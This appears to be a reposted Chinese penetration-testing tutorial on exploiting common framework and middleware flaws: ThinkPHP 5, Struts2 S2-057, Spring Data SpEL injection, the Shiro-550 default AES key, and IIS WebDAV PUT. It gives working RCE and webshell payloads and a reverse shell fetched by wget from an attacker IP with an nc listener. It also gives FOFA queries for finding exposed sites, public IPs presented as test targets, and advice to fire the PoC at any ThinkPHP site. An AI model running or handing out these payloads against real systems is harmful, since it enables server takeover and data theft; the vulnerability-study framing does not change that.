常见的框架漏洞

news2024/11/14 20:49:14

框架

        Web框架(Web framework)或者叫做Web应⽤框架(Web application framework),是⽤于 进⾏Web开发的⼀套软件架构。⼤多数的Web框架提供了⼀套开发和部署⽹站的⽅式。为Web的 ⾏为提供了⼀套⽀持⽀持的⽅法。使⽤Web框架,很多的业务逻辑外的功能不需要⾃⼰再去完 善,⽽是使⽤框架已有的功能就可以。

Thinkphp(TP)

简介

        ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽ 且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为 ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴 了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和 TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀ 持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是⼀款跨平台,跨版本以及简单易 ⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)

Thinkphp5x远程命令执⾏及getshell

thinkphp5最出名的就是rce

环境配置

kali:192.168.56.134

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

漏洞利⽤

        漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题。

远程命令执⾏

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

远程代码执⾏

? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=-1

getshell

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=echo "" >>1.php

根⽬录⽣成1.php ⽂件,输出phpinfo

        Thinkphp被曝很多漏洞,截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞,遇到TP的 站,直接打poc就可以了; 更多利⽤⽅式可以参考: https://www.hacking8.com/bug-web/ https://github.com/Mochazz/ThinkPHP-Vuln

fofa搜索语句
body="V5.0.7" && title="System error"
body="ThinkPHP V5"
icon_hash="1165838194"

struts2

简介

Apache Struts 2 最初被称为 WebWork 2,它是⼀个简洁的、可扩展的框架,可⽤于创建 企业级Java web应⽤程序。设计这个框架是为了从构建、部署、到应⽤程序维护⽅⾯来简化整个 开发周期。

● Struts 2 是⼀个基于MVC设计模式的web应⽤框架:

MVC:模型(Model)、视图(View)、控制器(Controller):

        ■ 模型 --- 属于软件设计模式的底层基础,主要负责数据维护。

        ■ 视图 --- 这部分是负责向⽤户呈现全部或部分数据。

        ■ 控制器 --- 通过软件代码控制模型和视图之间的交互。

        Struts 2 在2007年7⽉23⽇发布的第⼀个Struts 2漏洞S2-001。 Struts2漏洞是⼀个远程命令执⾏漏洞和开放重定向漏洞。利⽤漏洞,⿊客可发起远程攻击, 不但可以窃取⽹站数据信息,甚⾄还可取得⽹站服务器控制权。⽽且,⽬前针对此漏洞的⾃动化⼯ 具开始出现,攻击者⽆需具备与漏洞相关的专业知识即可侵⼊服务器,直接执⾏命令操作,盗取 数据甚⾄进⾏毁灭性操作。

判断Struts2框架

1. 通过⽹⻚后缀来判断,如.do .action,有可能不准。

2. 判断 /struts/webconsole.html 是否存在来进⾏判断,需要 devMode 为 true。

3. 通过 actionErrors,要求是对应的 Action 需要继承⾃ ActionSupport 类。 a. 如原始 URL 为 https://threathunter.org/则检测所⽤的 URL 为 https://threathunter.org/?actionErrors=1111; 如果返回的⻚⾯出现异常,则可以认定为⽬标是基于 Struts2 构建的。异常包括但不限于以 下⼏种现象:

1、 ⻚⾯直接出现 404 或者 500 等错误。

2、 ⻚⾯上输出了与业务有关错误消息,或者 1111 被回显到了⻚⾯上

3、 ⻚⾯的内容结构发⽣了明显的改变。 4、 ⻚⾯发⽣了重定向。

S2-057远程执⾏代码漏洞

环境

kali vulhub靶场 /struts2/s2-057

漏洞简介

漏洞产⽣于⽹站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置 或使⽤通配符namespace时,可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没 有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从⽽导致远程 代码执⾏漏洞的发⽣。 S2-057 先决条件: alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使⽤了通配符 ⽤户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执⾏漏洞。

漏洞利⽤

1 http://58.216.248.166:8088/login.html

在url处输⼊ http://192.168.56.134:8080/struts2- showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23
request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o
pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns
tance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcl
udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle
ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run
time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I
OUtils@toString%28%23a.getInputStream%28%29%29%29%7D

更多利⽤⽅式可以参考:
https://www.freebuf.com/vuls/283821.html
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

fofa搜索语法

app="Struts2"

Spring

简介

Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员 在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各 层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框 架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为 J2EE应⽤程序开发提供集成的框架。 2009年9⽉Spring 3.0 RC1发布后,Spring就引⼊了SpEL (Spring Expression Language)。类⽐Struts2框架,会发现绝⼤部分的安全漏洞都和OGNL脱不了⼲系。尤其是远程 命令执⾏漏洞,这导致Struts2越来越不受待⻅。 因此,Spring引⼊SpEL必然增加安全⻛险。事实上,过去多个Spring CVE都与其相关,如 CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。 SpEL是什么? SpEL(Spring Expression Language)是基于spring的⼀个表达式语⾔,类似于struts的 OGNL,能够在运⾏时动态执⾏⼀些运算甚⾄⼀些指令,类似于Java的反射功能。就使⽤⽅法上 来看,⼀共分为三类,分别是直接在注解中使⽤,在XML⽂件中使⽤和直接在代码块中使⽤。 SpEL原理如下:

1. 表达式:可以认为就是传⼊的字符串内容;

2. 解析器︰将字符串解析为表达式内容;

3. 上下⽂:表达式对象执⾏的环境;

4. 根对象和活动上下⽂对象∶根对象是默认的活动上下⽂对象,活动上下⽂对象表示了当前表达 式操作的对象。

Spring框架特征

看web应⽤程序的ico⼩图标,是⼀个⼩绿叶⼦:

新版本是这个

看报错⻚⾯,如果默认报错⻚⾯没有修复,那就是⻓这样:

Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

环境

kali vulhub靶场 /spring/CVE-2017-8046

fofa:icon_hash= "116323821" / app= "vmware-SpringBoot-framework"

# 漏洞批量脚本
https://github.com/Tas9er/SpringCloudGatewayRCE
https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway
# 漏洞利⽤脚本
https://github.com/0730Nophone/CVE-2022-22947-
# 案例测试地址
http://40.73.247.24:9002/

1. 访问 http://your-ip:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: localhost:8080 Accept-Encoding: gzip, deflate
Accept: */* Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace"
,
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new
byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname"
,
"value":
"vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码 成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令 进⼊docker容器:

spring 代码执⾏ (CVE-2018-1273)

漏洞简介

        Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命 令。

影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)

Spring Data REST 2.6 – 2.6.10(Ingalls SR10)

Spring Data Commons 2.0 – 2.0.5 (Kay SR5)

Spring Data REST 3.0 – 3.0.5(Kay SR5)

官⽅已经不⽀持的旧版本

漏洞利⽤

访问靶场地址:http://192.168.56.134:8080/users

填写注册信息,bp抓包:

加上poc

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/zcc")]=&password=&repeatedPassword=

进⼊终端查看,可以看到成功写⼊: docker exec -it b10ecde567a2 /bin/bash

反弹shell

ubuntu写⼀个 反弹shell 脚本,并开启http服务:

靶机下载执⾏ sh 脚本: /usr/bin/wget -qO /tmp/shell.sh http://192.168.56.132:8000/shell.sh

执⾏脚本: /bin/bash /tmp/shell.sh unbuntu nc

监听:nc -lvvp 8888

spring 框架还是很流⾏的框架的,很多甲⽅的⽹站建设都有使⽤到该框架进⾏搭建,⽇常渗透也 能经常⻅到。

更多利⽤⽅式参考: https://xie.infoq.cn/article/a60c8897b4bd0dbfe08cf7260 https://xie.infoq.cn/article/77266744d4eea813a20716fb5

Shiro

简介

        Apache Shiro是⼀个强⼤易⽤的Java安全框架,提供了认证、授权、加密和会话管理等功 能。Shiro框架直观、易⽤,同时也能提供健壮的安全性。

Shiro漏洞原理

        在Shiro框架下,⽤户登陆成功后会⽣成⼀个经过加密的Cookie。其Cookie的Key的值为 RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。 服务端在接收到⼀个Cookie时,会按照如下步骤进⾏解析处理

        ○ 检索RememberMe Cookie的值

        ○ 进⾏Base64解码

        ○ 进⾏AES解码

        ○ 进⾏反序列化操作

在第4步中的调⽤反序列化时未进⾏任何过滤,进⽽可以导致出发远程代码执⾏漏洞。 由于使⽤了AES加密,成功利⽤该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES 的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA== ,于是 就可得到Payload的构造流程:

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

Shiro rememberMe反序列化漏洞(Shiro-550)

漏洞原理

        Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反 序列化,就导致了反序列化RCE漏洞。 那么,Payload产⽣的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很 容易就知道密钥了,Payload构造起来也是⼗分的简单。

影响版本

Apache Shiro < 1.2.4

环境

 vulhub靶场 /shiro/CVE-2016-4437

命令执⾏

利⽤⼯具,命令执⾏:

反 弹 s h ell

⼯具:https://github.com/feihong-cs/ShiroExploit-Deprecated

有这个也表示有漏洞

中 间 件

IIS

环境靶机

链接:https://pan.baidu.com/s/1_hWKbkBKOFwxUOBAhoRCyw 提取码:3fb8

PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写⼊的权限,造成任意⽂件上 传。

环境

fofa:"IIS-6.0" 本地搭建2003 server

漏洞复现

1)开启 WebDAV 和写权限:

漏洞复现

⽤burpsuite 提交OPTIONS 查看⽀持的协议:

⽤PUT上传⽂档,但不能直接上传⽅法脚本⽂档,可以先上传⼀个其他类型的⽂档,然后移动成 脚本⽂档:

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 29
<%eval request("cmd")%>

使⽤MOVE命令将其更名为脚本⽂档后缀:

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp

getshell

修复

1.关闭webdav ; 2.关闭写⼊权限 。

IIS6.0解析漏洞

原理

当后缀⼩于4时,短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。

当后缀⼤于等于4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名。

⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、 TRACE六种;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1989722.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微步社区帖子中使用编码数据调戏吃瓜群众初探

什么&#xff0c;居然有人在微步社区公然使用编码后的字符串调戏吃瓜群众。 在演练活动的的某一天&#xff0c;微步威胁情报社区突然流行多重编码后内容的帖子。作者本着为人民群众利益着想的目的&#xff0c;结合毕生所学&#xff0c;决定要将这些奇技淫巧和小把戏公之于众。…

R 语言学习教程,从入门到精通,R 判断语句(7)

1、R 判断语句 判断结构要求程序员指定一个或多个要评估或测试的条件&#xff0c;以及条件为真时要执行的语句&#xff08;必需的&#xff09;和条件为假时要执行的语句&#xff08;可选的&#xff09;。 下面是大多数编程语言中典型的判断结构的一般形式&#xff1a; R 语言…

嵌入式linux系统中USART应用实现

各位开发者大家好,今天主要给大家分享一下,如何在linux系统中使用UART串口的功能。 第一:串口的作用 UART:通用异步收发器简称串口。常用的调试:移植u-boot、内核时,主要使用串口查看打印信息。也可以外接各种模块。 第二:linux系统中的串口 接下来,我们来看一下,linu…

达梦数据库的系统视图v$mem_heap

达梦数据库的系统视图v$mem_heap 达梦数据库的V$MEM_HEAP视图提供了关于内存堆的信息&#xff0c;仅当系统启动时 MEMORY_LEAK_CHECK 为 1 时有效。这个视图通常包含内存堆的使用情况&#xff0c;包括堆的大小、已使用空间、空闲空间等。通过查询V$MEM_HEAP视图&#xff0c;用…

图书馆座位再利用小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;座位信息管理&#xff0c;座位预订管理&#xff0c;互勉信息管理&#xff0c;意见反馈管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;我的 开发…

[算法]第一集 递归(未完待续)

递归啊递归&#xff0c;说简单简单&#xff0c;说难难。 首先我们要知道 一、什么是递归&#xff1f; 我们再C语言和数据结构里都用了不少递归&#xff0c;这里就不多详细介绍。 递归简单来说就是函数自己调用自己的情况 二、为什么要用递归呢&#xff1f; 本质来说其实就…

GIS赋能数字经济的地理脉络

在全球数字化转型的洪流中&#xff0c;数字经济以其惊人的速度与规模&#xff0c;重塑全球经济格局&#xff0c;成为推动社会进步的关键力量。地理信息系统&#xff08;GIS&#xff09;在数字经济的浪潮中扮演着不可替代的角色&#xff0c;它不仅是数字空间信息的集大动脉&…

用户管理①

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 ☁️运维工程师的职责&#xff1a;监…

Vue.js 3.x 必修课|009|Watch API:响应式数据的侦听器(必读+实操)

欢迎关注公众号:CodeFit。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 欢迎订阅《Vue 3.x 必修课| 2024》:http://t.csdnimg.cn/hHRrM 精品内容,物超所值(9.9 元,20+篇内容)。 1. 引言 在 Vue3 的 Composit…

基于 JWT 的模拟登录爬取实战

准备工作 1. 了解 JWT 相关知识 2. 安装 requests 库&#xff0c;并了解其基本使用 案例介绍 爬取网站&#xff1a; https://login3.scrape.center/ 用户名和密码是&#xff1a; admin 模拟登录 基于 JWT 的网站通常采用的是前后端分离式&#xff0c; 前后端的数据传输依…

【C++高阶】:自定义删除器的全面探索

✨ 我凌于山壑万里&#xff0c;一生自由随风起 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 &#x1f680; 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&am…

观测维度过大的一种ceres求解优化思路

详见 文章 这个优化如此重要&#xff0c;以至于需要单列一个文章。 使用场景&#xff1a; 比如lidar SLAM中优化点到面的距离&#xff0c;如果多个点关联到同一个面&#xff0c;那么就可以利用矩阵批量运算&#xff0c;假如有N个点&#xff0c;那么可以用一个factor来代替N个f…

【MYSQL】表操作

目录 查看当前数据库含有表查看表结构创建表插入&#xff08;新增create&#xff09;查询&#xff08;retrieve&#xff09;全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…

微服务-实现nacos的集群和Gateway网关的实现、认证校验、解决跨域

1. nacos的集群模式 1.1 分析 nacos在企业中的使用100%都是集群模式。需要掌握nacos集群的搭建 nacos的数据存放在derby本地磁盘中&#xff0c;nacos集群模式会导致数据库数据不一致&#xff0c;使用加一层思想&#xff0c;修改nacos的数据库&#xff0c;使用mysql数据库&…

kafka producer metrics

背景 做online Service埋点设计&#xff0c;塞了很多节点&#xff0c;采用了base64压缩&#xff0c;希望能监控当前消息的大小&#xff0c;防止超过threshold后无法正常发送。 kafka基本架构 producer metrics 官方文档 其中有两个参数用来表征在kafka的producer的client里&…

鸿蒙AI功能开发【hiai引擎框架-主体分割】 基础视觉服务

hiai引擎框架-主体分割 介绍 本示例展示了使用hiai引擎框架提供的主体分割能力。 本示例模拟了在应用里&#xff0c;选择一张图片&#xff0c;识别其图片中的显著性主体并展示出来主体的边界框的数据。 需要使用hiai引擎框架通用文字识别接口hms.ai.vision.subjectSegmenta…

加密软件有哪些常见的安全特性

1. 数据加密 核心功能&#xff1a;加密软件的核心在于对数据进行加密处理&#xff0c;通过复杂的加密算法&#xff08;如AES、RSA等&#xff09;将明文数据转换为密文&#xff0c;确保数据在存储和传输过程中的安全性。 透明加密&#xff1a;部分加密软件支持透明加密功能&am…

函数实例讲解(六)

文章目录 如何加密电话号码&#xff1f;&#xff08;SUBSTITUTE、REPLACE&#xff09;1、SUBSTITUTE2、REPLACE 用REPT函数做图表学生的考试成绩用A、B、C表示&#xff0c;如何找出哪个等级的学生最多呢&#xff1f;&#xff08;CHAR、CODE、MODE&#xff09;1、CHAR2、CODE3、…

【数据结构】顺序结构实现:特殊完全二叉树(堆)+堆排序

二叉树 一.二叉树的顺序结构二.堆的概念及结构三.堆的实现1.堆的结构2.堆的初始化、销毁、打印、判空3.堆中的值交换4.堆顶元素5.堆向上调整算法&#xff1a;实现小堆的插入6.堆向下调整算法&#xff1a;实现小堆的删除7.堆的创建1.堆向上调整算法&#xff1a;建堆建堆的时间复…

使用Go语言绘制折线统计图教程

使用Go语言绘制折线统计图教程 在本教程中&#xff0c;我们将学习如何使用Go语言及gg包绘制折线统计图&#xff0c;并将图表保存为PNG格式的图片。折线图适用于展示数据的变化趋势&#xff0c;并能直观地展示数据随时间或其他指标的变化。 安装gg包 首先&#xff0c;确保你已…